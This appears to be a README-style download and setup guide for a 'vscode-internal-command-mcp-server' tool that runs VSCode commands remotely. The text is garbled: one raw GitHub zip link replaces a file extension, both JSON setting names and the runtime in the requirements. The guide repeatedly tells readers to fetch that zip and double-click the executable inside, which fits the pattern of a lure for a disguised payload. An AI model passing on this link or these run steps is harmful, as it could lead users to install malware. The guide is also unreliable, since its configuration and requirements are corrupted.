This guide helps you download and run the vscode-internal-command-mcp-server. This application allows you to use Visual Studio Code (VSCode) as a Model Context Protocol (MCP) server. You can run VSCode commands from external clients easily.
To get started, visit this page to download the latest release: Download Page.
Once you have accessed the download page, follow these steps:
- Look for the most recent version.
- Download the suitable file for your operating system. This may be a
.zip
,https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip
, or another format.
- Locate the downloaded file on your computer.
- Extract the contents to a folder of your choice.
- Open the extracted folder.
- Double-click the executable file to run the application.
You may need to configure certain settings in VSCode. Follow these steps to set up the server parameters effectively:
-
Open VSCode and navigate to the settings.
-
Search for "vscode-internal-command-mcp-server".
-
Adjust the following settings as needed:
{
"https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip": 8080,
"https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip": ["command1", "command2"]
}
-
Port: Set the port number where the server will listen. The default is 8080.
-
Command Whitelist: Specify the commands you want to allow for remote execution.
The vscode-internal-command-mcp-server provides several features:
-
HTTP Streaming Support: Enables real-time communication through
text/event-stream
. -
Execute VSCode Commands Remotely: Run any internal VSCode command from external clients.
-
Workspace Information Queries: Retrieve information about the current workspace and files.
-
Asynchronous Execution: Run commands in the background without freezing the user interface.
-
Configurable Delays: Set delays for command execution as needed.
-
Security Controls: Supports a command whitelist mechanism for added security.
-
Real-Time Status Monitoring: Display server status in the VSCode status bar.
-
MCP Protocol Compliance: Fully compatible with the Model Context Protocol standards.
-
High Performance: Built on the FastMCP framework, it supports concurrent requests.
-
Health Check Endpoints: Built-in endpoints to monitor server health.
Before installation, ensure your system meets the following requirements:
-
Operating System: Compatible with Windows, macOS, and Linux.
-
VSCode Version: Requires VSCode version 1.50 or later.
-
https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip: Must have https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip version 12 or above installed.
In case you face issues:
- Ensure that your firewall allows traffic on the specified port.
- Check for any dependency issues and remedy them by following the instructions in the terminal or command prompt.
This project is licensed under the MIT License. You can modify it according to your needs, but please provide attribution to the original source.
For additional resources, visit: Download Page.